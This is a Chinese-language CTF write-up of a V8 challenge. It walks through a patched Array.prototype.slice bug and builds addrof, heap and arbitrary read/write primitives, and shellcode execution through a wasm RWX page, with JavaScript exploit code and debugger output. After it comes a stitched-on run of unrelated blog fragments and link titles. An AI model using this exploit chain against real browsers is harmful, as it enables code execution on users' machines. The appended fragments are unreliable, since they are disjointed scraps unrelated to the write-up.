题目信息
Author: Faith
Why do some people think browser exploitation == web?
Once you get code execution, you can execute /chal/flagprinter to get the flag. No need to get a shell.
V8 commit: 47054c840e26394dea0e36df47884202a15dd16d V8 version: 8.7.9 nc chal.duc.tf 30004
Challenge files: https://storage.googleapis.com/files.duc.tf/uploads/pwn/is-this-pwn-or-web/challenge.tar.gz (sha256: e1c70edde66932ca3ee9285fe37c04254ae5a0e00b265c68fe93440bbe3256e8)
patch
src/builtins/array-slice.tq
中
- return ExtractFastJSArray(context, a, start, count);
+ // return ExtractFastJSArray(context, a, start, count);
+ // Instead of doing it the usual way, I've found out that returning it
+ // the following way gives us a 10x speedup!
+ const array: JSArray = ExtractFastJSArray(context, a, start, count);
+ const newLength: Smi = Cast(count - start + SmiConstant(2))
+ otherwise Bailout;
+ array.ChangeLength(newLength);
+ return array;
当start指定为0时,这里把数组的长度增加了2,导致我们可以读写array elements后两个元素的值。
利用
JSArray结构
对于这样一个array
a = [1.1, 2.2, 3.3, 4.4]
在slice之后
d8> b = a.slice(0)
[1.1, 2.2, 3.3, 4.4, , ]
d8> b.length
6
d8> b[4]
4.768128617178215e-270
d8> b[5]
2.5530533391e-313
a = [1.1, 2.2, 3.3];
DebugPrint: 0xe3b08085aa9: [JSArray]
- map: 0x0e3b082438fd [FastProperties]
- prototype: 0x0e3b0820a555
- elements: 0x0e3b08085a89 [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x0e3b080426dd {
0xe3b08044649: [String] in ReadOnlySpace: #length: 0x0e3b08182159 (const accessor descriptor)
}
- elements: 0x0e3b08085a89 {
0: 1.1
1: 2.2
2: 3.3
}
查看elements
pwndbg> x/10gx 0x0e3b08085a89-1
0xe3b08085a88: 0x0000000608042a31 0x3ff199999999999a (1.1)
0xe3b08085a98: 0x400199999999999a(2.2) 0x400a666666666666 (3.3)
0xe3b08085aa8: 0x080426dd082438fd (map ptr) 0x0000000608085a89 (element ptr)
0xe3b08085ab8: 0x00000006080424a5 0x08085af908085acd
0xe3b08085ac8: 0x0824579d08085b25 0x080426dd080426dd
pwndbg> x/10gf 0x0e3b08085a89-1
0xe3b08085a88: 1.2798421967007003e-313 1.1000000000000001
0xe3b08085a98: 2.2000000000000002 3.2999999999999998
0xe3b08085aa8: 4.7681286171782151e-270 1.2798557597908099e-313
+-------------+-------------+
0x0e3b08085a88 | | |
+------>| | 1.1 |
| +---------------------------+
| | | |
| | 2.2 | 3.3 |
| +---------------------------+
| | | float_arr | 0xe3b08085aa8
| | 4.4 | map | JSArray start
| +---------------------------+
| | elements | |
+-------+ ptr | |
+-------------+-------------+
元素的实际数值放置于element_ptr+0x8
的地方
可控多出来的两个元素,分别为float_arr map和element ptr
浮点数与整数的转换
Double: Shown as the 64-bit binary representation without any changes Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000 Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) == float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) == BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
addrof
修改float_arr的elements指针到obj_arr的 elements指针,这样通过把obj放到obj_arr,再从float_arr
读取数据就能拿到obj的地址。
obj_arr float_arr
+----------+---------+ +-----------+---------+
| map | elems | | map |elems |
| | | | | |
+----------+-----+---+ +-----------+-----+---+
| |
+-----+----------------------------+
|
v
+--------------+
| obj ptr1 |+---> {A:1.1}
+--------------+
| obj ptr2 |+---> {B:2.2}
+--------------+
| ... |
| |
| |
| |
+--------------+
泄露map ptr和 element ptr
a = [1.1, 2.2, 3.3];
b = [{A:1}, {B:2}, {C:3}];
float_arr = a.slice(0);
obj_arr = b.slice(0);
float_map = float_arr[3];
float_elems = float_arr[4];
调试可知obj_map
,obj_elems
与float_map
,float_elems
的偏移。
float_arr :
DebugPrint: 0x25b008085b59: [JSArray]
- map: 0x25b0082438fd [FastProperties]
...
- elements: 0x25b008085b39 {
0: 1.1
1: 2.2
2: 3.3
}
obj_arr :
DebugPrint: 0x25b008085b7d: [JSArray]
- map: 0x25b00824394d [FastProperties]
...
- elements: 0x25b008085b69 {
0: 0x25b008085aa5
1: 0x25b008085ad1
2: 0x25b008085afd
}
obj_map = itof(ftoi(float_map) + (0x50n));
obj_elems = itof(ftoi(float_elems) + (0x30n));
修改float_arr的elements指针到obj_arr的 elements指针
// hijack obj element ptr
float_arr[4]= obj_elems ;
addrof
function addrof(in_obj) {
// put the obj into our object array
obj_arr[0] = in_obj;
// accessing the first element of the float array
// treats the value there as a float:
let addr = float_arr[0];
// Convert to bigint
return ftoi(addr);
}
Arbitrary read/write within v8 heap
修改elements指针到R/W的地址即可。 由于v8堆内使用了指针压缩,而base不可知,所以只能R/W堆内的地址(即传入的地址需要时压缩后的指针)
function arbi_r(target_addr){
t=[1.1]
// read is performed at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged as a pointer
if (target_addr % 2n == 0) {
target_addr += 1n;
}
hijacked_t = t.slice(0);
hijacked_t[2]=itof(target_addr);
return ftoi(hijacked_t[0]);
}
function arbi_w(target_addr, val) { // both as BigInts
t = [1.1]
// write is made at addr + 0x8
target_addr = target_addr - 0x8n
// ensure addr is tagged
if (target_addr % 2n == 0) {
target_addr += 1n;
}
tmp_arr = t.slice(0)
// set elem ptr to desired address
tmp_arr[2] = itof(target_addr)
// set addr to desired value
tmp_arr[0] = itof(val)
}
任意R/W
为了实现堆外的R/W,可以通过修改typed arrays的backing store为目标地址。
v8 heap 'actual' heap
+----------------------------+ +---------------------+
| | | |
| buf +--------------+ | +--> |
| | | | | | |
| | . . . | | | | |
| | | | | +---------------------+
| | | | |
| +--------------+ | |
| | backing | | |
| | store ptr +----------+
| +--------------+ |
+----------------------------+
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
wasm中的RXW段
查看WasmInstanceObject的布局
DebugPrint: 0x360c08211751: [WasmInstanceObject] in OldSpace
- map: 0x360c08245275 [FastProperties]
- prototype: 0x360c080835fd
- elements: 0x360c080426dd [HOLEY_ELEMENTS]
- module_object: 0x360c080859ed
- exports_object: 0x360c08085b49
- native_context: 0x360c0820221d
- memory_object: 0x360c08211739
- table 0: 0x360c08085b1d
- imported_function_refs: 0x360c080426dd
- indirect_function_table_refs: 0x360c080426dd
- managed_native_allocations: 0x360c08085ad5
- memory_start: 0x7ffddc000000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 0x555556ae9670
- globals_start: (nil)
- imported_mutable_globals: 0x555556ae9690
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: (nil)
- indirect_function_table_targets: (nil)
- properties: 0x360c080426dd {}
pwndbg> telescope 0x360c08211751-1 20
00:0000│ 0x360c08211750 ◂— 0x80426dd08245275
01:0008│ 0x360c08211758 ◂— 0xdc000000080426dd
02:0010│ 0x360c08211760 ◂— 0x1000000007ffd
03:0018│ 0x360c08211768 ◂— 0xffff00000000
04:0020│ 0x360c08211770 ◂— 0x4800000000
05:0028│ 0x360c08211778 ◂— 0x80426dd0000360c /* '\x0c6' */
06:0030│ 0x360c08211780 —▸ 0x555556ae9670 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
07:0038│ 0x360c08211788 ◂— 0x80426dd
08:0040│ 0x360c08211790 ◂— 0x0
... ↓
0b:0058│ 0x360c082117a8 —▸ 0x555556ae9690 —▸ 0x7ffff73f2ca0 (main_arena+96) —▸ 0x555556b70780 ◂— 0x0
0c:0060│ 0x360c082117b0 —▸ 0x360c00000000 —▸ 0x7fffffffd780 ◂— 0x360c00000000
0d:0068│ 0x360c082117b8 —▸ 0xcff4e389000 ◂— jmp 0xcff4e3893a0 /* 0xcccccc0000039be9 */
0e:0070│ 0x360c082117c0 ◂— 0x8085b49080859ed
0f:0078│ 0x360c082117c8 ◂— 0x82117390820221d
10:0080│ 0x360c082117d0 ◂— 0x804230108042301
11:0088│ 0x360c082117d8 ◂— 0x8085b1108042301
12:0090│ 0x360c082117e0 ◂— 0x8085ad508085b3d
13:0098│ 0x360c082117e8 ◂— 0x8085b8108042301
其中0x360c082117b8
(+0x68)处的地址0xcff4e389000
处于RXW段
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0xcff4e389000 0xcff4e38a000 rwxp 1000 0
向其中写入shellcode即可
var buf = new ArrayBuffer(0x100);
var uint8_arr = new Uint8Array(buf);
var buf_addr = addrof(buf);
// %DebugPrint(buf);
// %SystemBreak();
// offset to backing store ptr at 0x60
var backing_addr = buf_addr + 0x60n
// overwrite backing store ptr so all uint8_arr access happen in the rwx segment
arbi_w(backing_addr, rwx)
// backing store now points to the rwx segment, copy in our shellcode
for (let i = 0; i < shellcode.length; i++) {
uint8_arr[i] = shellcode[i]
}
wasm_func();
murmur
大致一道V8的题目,分为构造addrof
, (withinHeap) arbitraryR/W
, (allAddr) arbitraryR/W
的primitive。 其中可以通过TypedArray
的backing store
,实现任意地址的arbitrary R/W
。 (https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html)
reference
https://seb-sec.github.io/2020/09/28/ductf2020-pwn-or-web.html
你可能感兴趣的:(ductf2020 pwn-or-web v8)
Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现不同水果的检测识别(C#代码,UI界面版)
Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现不同水果的检测识别(C#代码,UI界面版))工业相机使用YoloV8模型实现不同水果的检测识别工业相机通过YoloV8模型实现不同水果的检测识别的技术背景在相机SDK中获取图像转换图像的代码分析工业相机图像转换Bitmap图像格式和Mat图像重要核心代码本地文件图像转换Bitmap图像格式和Mat图像重要核心代码Mat图像导入Yo
yolo 目标检测600类目标
大霸王龙
行业+领域+业务场景=定制 YOLO 目标检测 人工智能
1.模型架构调整类别适配:将YOLO输出层的类别节点数调整为600(如YOLOv5的detect.yaml中修改nc=600),并更新类别名称映射表(classes.txt)。骨干网络优化:若使用YOLOv5/v8,可升级骨干网络(如C3模块深度)或替换为更高性能的主干(如EfficientNet、ResNet-101),以增强复杂场景的特征提取能力。多尺度检测头:保留或扩展YOLO的多尺度输出(
YOLOV8模型及损失函数
山居秋暝LS
计算机视觉 Python YOLO
YOLOV8代码分析1.YOLOV8相对于YOLOV5的改进2模型2.1模型主要模块2.1.1模型主要模块:2.1.2CBS、SPPF、Bottleneck、C2f、model3损失ultralytics/models/yolo/detect/train.py3.2.1生成anchor_points3.3.1把targets[9,6]变为[bs,max_gt,1+4]3.4获取预测框Pboxes3
深入理解作用域【JavaScript】
陆仟
Web前端开发 javascript
一、作用域的内部原理JavaScript的作用域机制是理解变量如何被访问和存储的重要概念。下面详细介绍作用域的内部原理,包括编译、执行、查询、嵌套和异常处理这五个步骤。1.编译在JavaScript的执行过程中,首要的步骤是编译。尽管JavaScript是解释性语言,但现代JavaScript引擎(如V8)在执行代码前会先进行编译。编译阶段主要完成以下几项工作:词法分析:将源代码分解成语法单元(t
深入分析 Node.js 的 V8 引擎如何在内部处理 JavaScript 代码,包括内存管理和垃圾回收机制。
海派程序猿
node.js javascript 开发语言
各位观众老爷们,晚上好!今天咱们就来聊聊Node.js的大心脏——V8引擎,看看它到底是怎么把咱们写的JavaScript代码给“消化”掉的。别害怕,今天咱不搞那些生涩难懂的学院派理论,尽量用大白话,外加一些“栗子”,保证让你听得津津有味。V8引擎:JavaScript的超级翻译官首先,简单介绍一下V8。V8是Google开发的高性能JavaScript和WebAssembly引擎,用C++写的。
【前端】JavaScript 的事件循环 (Event Loop)
不懂可否
前端 前端 javascript 开发语言
JavaScript的事件循环(EventLoop)是其实现异步编程的核心机制,即使JS是单线程语言,它也能高效处理I/O、网络请求、计时器等非阻塞操作。以下是其工作原理的精要解析:核心概念单线程执行JS引擎(如V8)只能顺序执行一个任务。异步行为需要靠宿主环境(浏览器/Node.js)提供的事件循环调度。任务队列(TaskQueue)所有异步操作完成后对应的回调函数会进入队列等待执行。队列类型包
【优化系列】汇编优化技术(六):ARM架构64位(AARCH64)汇编优化及demo
飞翔的鲲
【汇编优化技术100例】 arm aarch64 汇编优化 demo neon
DATE:2021.8.15文章目录1、arm架构64位优化基础知识2、ARMv8/AArch64neon指令格式3、ARM相关编译参数4、查看状态标记位NZCV的方法5、A64指令集特有的指令及其用法6、资料文档查阅7、AArch64asmdemo8、优化经验总结(满满的干货)1、arm架构64位优化基础知识 【arm】arm架构64位入门基础:架构分析、寄存器、调用规则、指令集以及参考手册 该
坚果读书第四期-自我对话第3天
紧跟时代奔跑的职场二宝妈
苗敏,恭喜你完成坚果读书第四期-自我对话第3天!今天你阅读了5WHY思考法-如何找到问题的根本原因。了解了5WHY思考法的定义、作用和应用要点。我希望你在以后的工作、生活中可以应用起来。往有意义的方向提问,不要质问、审问。要往我们可以控制的事项上面提问和回答,避免不可控的内容。希望你能让自己的思维更加深刻!为你点赞!为坚果点赞!图片发自App音频链接:http://xima.tv/U3TRv8
sahi+yolov8实现图像切片推理
文章目录前言一、SAHI介绍切片推理兼容性设计二、使用步骤图像切片推理与结果融合代码示例结果对比总结前言本文记录项目中涉及到了无人机正射图像的推理(通常8000像素*8000像素以上),由于模型推理尺寸是640*640的,如果直接整图送入模型推理,推理效果极差,可以考虑采用多个切片进行分别进行推理,最后合并推理结果的方式。一、SAHI介绍SAHI(SlicingAidedHyperInferenc
yolov8seg如何获取每个结果的mask,不是一整个的mask
boss-dog
视觉算法开发 yolov8 rk3588
使用rk3588开发板对yolov8-seg进行推理时,瑞芯微官方代码中对推理的结果进行了封装,返回的分割结果是所有目标的mask,而不是单个目标的mask。yolov8seg怎么获得每个结果的mask,不是一整个的mask:https://github.com/airockchip/rknn_model_zoo/issues/175解决postprocess.h中关于检测结果的结构体解析type
博客摘录「 适合小白的超详细yolov8环境配置+实例运行教程,从零开始教你如何使用yolov8训练自己的数据集(Windows+conda+pycharm)」2024年3月13日
激活虚拟环境使用condaactivate命令激活虚拟环境,激活成功的标志就是命令行前面的(base)换
博客摘录「 yolov8改进-添加Wise-IoU,soft-nms」2023年12月18日
Exodu
笔记
(1.0-iou[0])*iou[1].detach()iou*torch.exp((rho2/c2))
博客摘录「 Yolov8 源码解析(三十八)」2024年9月29日
starAI_2025
笔记
数列表格式defstore_track_info(self,track_id,box):"""存储跟踪数据。Args:track_id(int):对象的跟踪ID。box(list):对象边界框数据。Returns:(list):给定track_id的更新跟踪历史记录。"""#获取当前跟踪ID对应的历史跟踪数据track=self.trk_history[track_id]#计算边界框中心点坐标bb
Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现水下鱼类识别(C#代码,UI界面版)
格林威
机器视觉 工业相机 数码相机 YOLO 深度学习 计算机视觉 人工智能
Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现水下鱼类识别(C#代码,UI界面版)工业相机使用YoloV8模型实现水下鱼类识别工业相机通过YoloV8模型实现水下鱼类识别的技术背景在相机SDK中获取图像转换图像的代码分析工业相机图像转换Bitmap图像格式和Mat图像重要核心代码本地文件图像转换Bitmap图像格式和Mat图像重要核心代码Mat图像导入YoloV8模型重要核心
Node.js 手册:详细介绍及使用指南
江一破
node.js javascript 后端
Node.js手册:详细介绍及使用指南1.Node.js的本质与设计演进Node.js是一个基于ChromeV8JavaScript引擎构建的异步事件驱动型JavaScript运行时(AsynchronousEvent-DrivenJavaScriptRuntime),其核心是利用非阻塞I/O和事件驱动模型解决高并发场景的性能瓶颈。历史背景:Web服务器的"并发之殇"线程模型的代价:2000年代主
兼职副业做什么赚钱快?氧惠APP赚钱如何?
氧惠_飞智666999
在当今社会,越来越多的人开始关注副业,这种形式的工作可以带来额外的收入,提高生活质量。而通过氧惠APP,你可以轻松地寻找适合自己的副业,并在其中寻找赚钱的机会。氧惠APP,2022全新模式,0投资,最快63天做到月入十万。我的直推也会放到你下面,我曾经1年做到百万团队,现在加入我也会帮你做到百万团队。【氧惠】百度有几百万篇报道,也期待你的加入。飞智导师,氧惠首码邀请码666999,注册送V8体验等
有什么可以在手机上挣钱的?手机能赚钱的软件app
氧惠帮朋友一起省
“与其打工一辈子,不如创业一阵子”,目前越来越多的人选择创业,面对激烈的竞争环境,很多人想要投身于创业浪潮中,但是却不知道做什么好?那么,自主创业选择什么项目好?自主创业的好处又有哪些呢?氧惠就是一个0投资的创业的平台氧惠(全网优惠上氧惠)——是与以往完全不同的抖客+淘客app!2023全新模式,我的直推也会放到你下面,注册送V8等级,欢迎各位团队长体验!也期待你的加入。氧惠邀请码005500,注
揭秘前端 Electron 的底层运行原理
AI架构全栈开发实战笔记
前端艺匠馆 前端大数据与AI人工智能 前端 electron javascript ai
揭秘前端Electron的底层运行原理关键词:Electron、Chromium、Node.js、进程模型、IPC、V8引擎、跨平台摘要:本文将深入剖析Electron框架的底层运行原理,从Chromium和Node.js的集成机制开始,详细讲解Electron的多进程架构、进程间通信(IPC)实现、以及如何利用V8引擎实现JavaScript的跨平台执行。通过生活化的比喻和清晰的架构图,帮助读者
npm开箱
花霏花
安装Node.jsNode.js®是一个基于ChromeV8引擎的JavaScript运行时npm在正式开始Node.js学习之前,我们先认识一下npm。npm是什么东东?npm其实是Node.js的包管理工具(packagemanager)。为啥我们需要一个包管理工具呢?因为我们在Node.js上开发时,会用到很多别人写的JavaScript代码。如果我们要使用别人写的某个包,每次都根据名称搜索
【奔跑吧!Linux 内核(第二版)】第3章:ARM64架构基础知识
Jia ming
# 奔跑吧!Linux 内核 linux
笨叔陈悦.奔跑吧Linux内核(第2版)[M].北京:人民邮电出版社,2020.文章目录ARM64架构介绍ARMv8-A架构介绍ARM64的基本概念ARMv8指令集ARMv8的处理器状态到了ARMv7指令集,处理器系列以Cortex命名,又分为A、R和M系列,通常A系列针对大型嵌入式系统,R系列针对实时性系统,M系列针对单片机市场。虚拟化和安全特性在ARMv7上已经实现,但是对大内存的支持显得有点
Google Chrome V8< 14.0.221 类型混淆漏洞
墨菲安全
chrome 前端 Chrome漏洞 V8漏洞 类型混淆漏洞
【高危】GoogleChromeV8隐私和安全>安全>开启"增强型保护"临时禁用JavaScript执行:在chrome://settings/content/javascript中启用"不允许任何网站运行JavaScript"对关键业务场景,可考虑使用Chrome的"沙盒模式"运行浏览器根本修复方案将GoogleChrome浏览器升级至138.0.7204.168或更高版本:通过浏览器内置更新功
(11)机器学习小白入门YOLOv:YOLOv8-cls epochs与数据量的关系
YOLOv8-clsepochs与数据量的关系(1)机器学习小白入门YOLOv:从概念到实践(2)机器学习小白入门YOLOv:从模块优化到工程部署(3)机器学习小白入门YOLOv:解锁图片分类新技能(4)机器学习小白入门YOLOv:图片标注实操手册(5)机器学习小白入门YOLOv:数据需求与图像不足应对策略(6)机器学习小白入门YOLOv:图片的数据预处理(7)机器学习小白入门YOLOv:模型训练
Tina-Linux -- 4. LVGL 8.3移植
海拉鲁开荒人
T113-S3 嵌入式 linux
引用移植lvgl8.3.11到野火i.mx6ull开发板MangopiMQ-R:T113-s3编译TinaLinux系统(三)独立编译Qt5准备源码下载源码创建lvgl文件夹~:mkdirlvgl下载8.2版本的linux_frame_buffer文件,因为这个文件没有8.3的和8.2通用~/T113/lvgl:gitclone-brelease/v8.2[https://github.com/l
Pycharm 给 python 程序打包EXE的配置和方法
Franklin
APP 设计 # Python pycharm ide python
前言:Python语言的设计变得越来越简单,它有很多可以使用的库,所以尤其在人工智能时代,Python语言被广泛应用。但是Python语言和windows系统的兼容性稍微偏弱,如何生成windows可以执行的exe文件。是要一个很复杂的配置过程,本文就会做一个介绍。本文,通过一个PythonYOLOv8项目的打包实践,将pycharm里面如何运用pyinstaller的工具进行项目打包和配置的中级
Yolov5s/Yolov8s网络结构图
Goodness2020
机器学习 YOLO
一、网络模型配置Yolov5s#Parametersnc:1#numberofclassesdepth_multiple:0.33#modeldepthmultiplewidth_multiple:0.50#layerchannelmultipleanchors:-[10,13,16,30,33,23]#P3/8-[30,61,62,45,59,119]#P4/16-[116,90,156,198
Yolov8模型训练结果参数理解与分析
Wiktok
YOLO YOLO 人工智能 大数据
Yolov8模型训练结果参数理解与分析1.Yolov8模型训练结果概述1.1训练结果文件结构YOLOv8模型训练完成后,会生成一系列结果文件,这些文件为模型的评估和后续优化提供了重要依据。训练结果文件主要包括以下几个部分:权重文件夹(weights):包含训练过程中生成的模型权重文件,如best.pt和last.pt。best.pt保存了训练过程中性能最佳的模型权重,而last.pt则保存了最后一
淘宝退货流程,淘宝怎么退货?
氧惠_飞智666999
下面要给大家讲到的是和淘宝退货相关的内容,那么淘宝退货应该怎么退呢?退货方法有哪些?要怎样才能退货?一起来了解一下。氧惠APP,2022全新模式,0投资,最快63天做到月入十万。我的直推也会放到你下面,我曾经1年做到百万团队,现在加入我也会帮你做到百万团队。【氧惠】百度有几百万篇报道,也期待你的加入。飞智导师,氧惠首码邀请码666999,注册送V8体验等级,享受超高佣金,注册就帮你推广,一起做到百
Node.js入手笔记材料
badman250
后端开发
Node.js入手笔记材料简单的说Node.js就是运行在服务端的JavaScript。Node.js是一个基于ChromeJavaScript运行是建立的一个平台,是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。1安装Node.js安装包及源码下载地址为:https://nodejs.org/en/down
Docker进阶 - 2. Dockerfile 常用保留字简介
Aaron_neil
Linux # Docker docker 运维 linux 容器 DockerFile
目录1.FROM2.MAINTAINER3.RUN4.EXPOSE5.WORKDIR6.USER7.ENV8.VOLUME9.COPY10.ADD11.CMD12.ENTRYPOINT13.CMD和RUN命令的区别本篇文章的讲解截屏示例基于tomcat的Dockerfile:tomcat/9.0/jdk8/openjdk/Dockerfile1.FROM基础镜像,指当前镜像是基于哪个镜像,指定一个
爆改YOLOv8 | 利用AFPN增加小目标检测层(替换小目标检测头)
1,本文介绍这篇文章的改进机制是利用新推出的渐近特征金字塔网络(AFPN)来优化yolov8的检测头,AFPN的核心是引入一种渐近的特征融合策略,将底层和高层的特征逐渐整合到目标检测过程中。这种方式有助于减小不同层次特征之间的语义差距,提高特征融合效果,使得检测模型能更好地适应不同层次的语义信息。关于AFPN的详细介绍可以看论文:https://arxiv.org/pdf/2306.15988.p
关于旗正规则引擎下载页面需要弹窗保存到本地目录的问题
何必如此
jsp 超链接 文件下载 窗口
生成下载页面是需要选择“录入提交页面”,生成之后默认的下载页面<a>标签超链接为:<a href="<%=root_stimage%>stimage/image.jsp?filename=<%=strfile234%>&attachname=<%=java.net.URLEncoder.encode(file234filesourc
【Spark九十八】Standalone Cluster Mode下的资源调度源代码分析
bit1129
cluster
在分析源代码之前,首先对Standalone Cluster Mode的资源调度有一个基本的认识:
首先,运行一个Application需要Driver进程和一组Executor进程。在Standalone Cluster Mode下,Driver和Executor都是在Master的监护下给Worker发消息创建(Driver进程和Executor进程都需要分配内存和CPU,这就需要Maste
linux上独立安装部署spark
daizj
linux 安装 spark 1.4 部署
下面讲一下linux上安装spark,以 Standalone Mode 安装
1)首先安装JDK
下载JDK:jdk-7u79-linux-x64.tar.gz ,版本是1.7以上都行,解压 tar -zxvf jdk-7u79-linux-x64.tar.gz
然后配置 ~/.bashrc&nb
Java 字节码之解析一
周凡杨
java 字节码 javap
一: Java 字节代码的组织形式
类文件 {
OxCAFEBABE ,小版本号,大版本号,常量池大小,常量池数组,访问控制标记,当前类信息,父类信息,实现的接口个数,实现的接口信息数组,域个数,域信息数组,方法个数,方法信息数组,属性个数,属性信息数组
}
&nbs
java各种小工具代码
g21121
java
1.数组转换成List
import java.util.Arrays;
Arrays.asList(Object[] obj); 2.判断一个String型是否有值
import org.springframework.util.StringUtils;
if (StringUtils.hasText(str)) 3.判断一个List是否有值
import org.spring
加快FineReport报表设计的几个心得体会
老A不折腾
finereport
一、从远程服务器大批量取数进行表样设计时,最好按“列顺序”取一个“空的SQL语句”,这样可提高设计速度。否则每次设计时模板均要从远程读取数据,速度相当慢!!
二、找一个富文本编辑软件(如NOTEPAD+)编辑SQL语句,这样会很好地检查语法。有时候带参数较多检查语法复杂时,结合FineReport中生成的日志,再找一个第三方数据库访问软件(如PL/SQL)进行数据检索,可以很快定位语法错误。
mysql linux启动与停止
墙头上一根草
如何启动/停止/重启MySQL一、启动方式1、使用 service 启动:service mysqld start2、使用 mysqld 脚本启动:/etc/inint.d/mysqld start3、使用 safe_mysqld 启动:safe_mysqld&二、停止1、使用 service 启动:service mysqld stop2、使用 mysqld 脚本启动:/etc/inin
Spring中事务管理浅谈
aijuans
spring 事务管理
Spring中事务管理浅谈
By Tony Jiang@2012-1-20 Spring中对事务的声明式管理
拿一个XML举例
[html]
view plain
copy
print
?
<?xml version="1.0" encoding="UTF-8"?>&nb
php中隐形字符65279(utf-8的BOM头)问题
alxw4616
php中隐形字符65279(utf-8的BOM头)问题
今天遇到一个问题. php输出JSON 前端在解析时发生问题:parsererror.
调试:
1.仔细对比字符串发现字符串拼写正确.怀疑是 非打印字符的问题.
2.逐一将字符串还原为unicode编码. 发现在字符串头的位置出现了一个 65279的非打印字符.
 
调用对象是否需要传递对象(初学者一定要注意这个问题)
百合不是茶
对象的传递与调用技巧
类和对象的简单的复习,在做项目的过程中有时候不知道怎样来调用类创建的对象,简单的几个类可以看清楚,一般在项目中创建十几个类往往就不知道怎么来看
为了以后能够看清楚,现在来回顾一下类和对象的创建,对象的调用和传递(前面写过一篇)
类和对象的基础概念:
JAVA中万事万物都是类 类有字段(属性),方法,嵌套类和嵌套接
JDK1.5 AtomicLong实例
bijian1013
java thread java多线程 AtomicLong
JDK1.5 AtomicLong实例
类 AtomicLong
可以用原子方式更新的 long 值。有关原子变量属性的描述,请参阅 java.util.concurrent.atomic 包规范。AtomicLong 可用在应用程序中(如以原子方式增加的序列号),并且不能用于替换 Long。但是,此类确实扩展了 Number,允许那些处理基于数字类的工具和实用工具进行统一访问。
 
自定义的RPC的Java实现
bijian1013
java rpc
网上看到纯java实现的RPC,很不错。
RPC的全名Remote Process Call,即远程过程调用。使用RPC,可以像使用本地的程序一样使用远程服务器上的程序。下面是一个简单的RPC 调用实例,从中可以看到RPC如何
【RPC框架Hessian一】Hessian RPC Hello World
bit1129
Hello world
什么是Hessian
The Hessian binary web service protocol makes web services usable without requiring a large framework, and without learning yet another alphabet soup of protocols. Because it is a binary p
【Spark九十五】Spark Shell操作Spark SQL
bit1129
shell
在Spark Shell上,通过创建HiveContext可以直接进行Hive操作
1. 操作Hive中已存在的表
[hadoop@hadoop bin]$ ./spark-shell
Spark assembly has been built with Hive, including Datanucleus jars on classpath
Welcom
F5 往header加入客户端的ip
ronin47
when HTTP_RESPONSE {if {[HTTP::is_redirect]}{ HTTP::header replace Location [string map {:port/ /} [HTTP::header value Location]]HTTP::header replace Lo
java-61-在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差. 求所有数对之差的最大值。例如在数组{2, 4, 1, 16, 7, 5,
bylijinnan
java
思路来自:
http://zhedahht.blog.163.com/blog/static/2541117420116135376632/
写了个java版的
public class GreatestLeftRightDiff {
/**
* Q61.在数组中,数字减去它右边(注意是右边)的数字得到一个数对之差。
* 求所有数对之差的最大值。例如在数组
mongoDB 索引
开窍的石头
mongoDB索引
在这一节中我们讲讲在mongo中如何创建索引
得到当前查询的索引信息
db.user.find(_id:12).explain();
cursor: basicCoursor 指的是没有索引
&
[硬件和系统]迎峰度夏
comsci
系统
从这几天的气温来看,今年夏天的高温天气可能会维持在一个比较长的时间内
所以,从现在开始准备渡过炎热的夏天。。。。
每间房屋要有一个落地电风扇,一个空调(空调的功率和房间的面积有密切的关系)
坐的,躺的地方要有凉垫,床上要有凉席
电脑的机箱
基于ThinkPHP开发的公司官网
cuiyadll
行业系统
后端基于ThinkPHP,前端基于jQuery和BootstrapCo.MZ 企业系统
轻量级企业网站管理系统
运行环境:PHP5.3+, MySQL5.0
系统预览
系统下载:http://www.tecmz.com
预览地址:http://co.tecmz.com
各种设备自适应
响应式的网站设计能够对用户产生友好度,并且对于
Transaction and redelivery in JMS (JMS的事务和失败消息重发机制)
darrenzhu
jms 事务 承认 MQ acknowledge
JMS Message Delivery Reliability and Acknowledgement Patterns
http://wso2.com/library/articles/2013/01/jms-message-delivery-reliability-acknowledgement-patterns/
Transaction and redelivery in
Centos添加硬盘完全教程
dcj3sjt126com
linux centos hardware
Linux的硬盘识别:
sda 表示第1块SCSI硬盘
hda 表示第1块IDE硬盘
scd0 表示第1个USB光驱
一般使用“fdisk -l”命
yii2 restful web服务路由
dcj3sjt126com
PHP yii2
路由
随着资源和控制器类准备,您可以使用URL如 http://localhost/index.php?r=user/create访问资源,类似于你可以用正常的Web应用程序做法。
在实践中,你通常要用美观的URL并采取有优势的HTTP动词。 例如,请求POST /users意味着访问user/create动作。 这可以很容易地通过配置urlManager应用程序组件来完成 如下所示
MongoDB查询(4)——游标和分页[八]
eksliang
mongodb MongoDB游标 MongoDB深分页
转载请出自出处:http://eksliang.iteye.com/blog/2177567 一、游标
数据库使用游标返回find的执行结果。客户端对游标的实现通常能够对最终结果进行有效控制,从shell中定义一个游标非常简单,就是将查询结果分配给一个变量(用var声明的变量就是局部变量),便创建了一个游标,如下所示:
> var
Activity的四种启动模式和onNewIntent()
gundumw100
android
Android中Activity启动模式详解
